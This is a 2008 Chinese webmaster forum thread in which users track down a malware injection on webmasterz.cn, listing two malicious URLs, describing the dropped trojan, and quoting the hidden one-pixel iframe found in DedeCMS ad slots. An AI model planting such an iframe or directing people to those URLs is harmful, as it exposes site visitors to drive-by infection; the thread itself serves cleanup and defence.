过期域名预定抢注

 找回密碼
 免费注册

webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到?

[複製鏈接]
發表於 2008-1-10 16:50:35 | 顯示全部樓層
請老大仔細的查查吧,剛又發現了幾個,全是免殺的~~一個勁的往外蹦,但是我的卡卡即不報~~+ Q4 P" [- Z6 j3 n- a
http://ppp.749571.com/dm/test.htm
& \+ C* z: O- D. H# b; x0 Ohttp://www.985676.cn/encrypt/mm.htm/ f8 p% y7 V7 o, l) W
這兩個是免殺的,還有幾個沒記下來,
2 y/ x) o5 o$ u6 ~這掛馬的兔崽子有一手,隱藏的很好啊~~一般人都看不出來~
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-10 17:01:37 | 顯示全部樓層
會在C盤下產生 CRESS1.EXE ; w8 p' Z3 A- L9 ^3 k: `
然後增加IE的BHO的木馬 還釋放驅動
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-10 17:34:02 | 顯示全部樓層
昏 他藏得好隱秘  找到了 放毒得地方了
( B: G& R' H: P! P9 S
: U: M, G; P, t4 i  ?/ }iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
' m' q; i* H) r- T; J% i9 m然後再這個地址轉到ppp.749571.co m/dm/test.htm$ Y# s' O: L# S& o' c# ~
為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。, c5 A9 ~8 X* b+ I2 e' A
靜水趕快清理了吧
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-10 18:00:24 | 顯示全部樓層
原帖由 20082008 於 2008-1-9 16:33 發表 0 O4 W7 X  C3 i# x7 A' ]
沒裝REAL就沒事,好在我重新裝的系統:

/ k* x8 N, G/ v4 @說的沒錯
回復 给力 爆菊

使用道具 舉報

 樓主| 發表於 2008-1-11 02:27:32 | 顯示全部樓層
原帖由 freelzyr 於 2008-1-10 16:47 發表 & }5 w# E3 v2 M, s& o( G
進dede後台 # V# w, a  |8 |1 o0 [0 B
檢查 ad_js.php?aid=1  
7 z5 q. R8 L+ A  l8 }( uad_js.php?aid=2
- G; s+ ?9 \! g3 sad_js.php?aid=3
; x: H5 R" ^1 Iad_js.php?aid=4; W$ x  r1 n4 E. S5 I0 \4 k: [
8 ~+ o: N& Q/ C+ r! I1 q- R
這幾個廣告 裡面的代碼
7 w" {2 J! P4 o$ q7 t% |: b在這幾個 掉茅廁位 裡面   含有 木馬的 代碼
5 z+ f4 [' ]2 |! \4 J7 G9 \

2 C+ b% @- B  K/ S' n- B$ p4 P這個檢查了沒有的
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-11 09:09:11 | 顯示全部樓層
原帖由 靜水流深 於 2008-1-11 02:27 發表
/ |, n7 J9 i! z( X$ ~1 g, n" J" E$ B7 E6 `' X/ i* t3 b+ L
- b, {! K9 z4 I4 \: j8 k
這個檢查了沒有的

$ g) d2 Q8 D5 i$ u+ M+ x: k
  j5 p5 {" W. f+ Q
. ~7 M4 n0 b$ h) y7 J; H4 a/ q我看過了,有掛馬的代碼,代碼已經在你的另一個貼子裡貼出來了
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-11 12:44:57 | 顯示全部樓層
原帖由 靜水流深 於 2008-1-11 02:27 發表
! j0 t$ F: h  k5 m# v) f& P. X( ~) S# o( @4 A7 X
6 k5 o! J8 `; {2 B1 f! l
這個檢查了沒有的
; x# b6 Y! X/ d/ N/ D
木馬就是在這裡裡啊! Q8 T$ V6 w0 {% Z) H
在後台的掉茅廁位設置那
2 g$ ?# \( y4 {8 K* G) [& J* K
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-30 10:38:22 | 顯示全部樓層
現在明瞭./ v1 L& F" A2 J
有人收流量做ppp.749571.co m的..( X' V% Q% ?6 }5 L7 {% t
最近被掛馬的話. 都改成js了. 不用iframe了
回復 给力 爆菊

使用道具 舉報

發表於 2008-1-30 11:53:15 | 顯示全部樓層
菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景
回復 给力 爆菊

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

过期高净值品牌域名预定抢注

點基

GMT+8, 2026-6-17 21:43

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表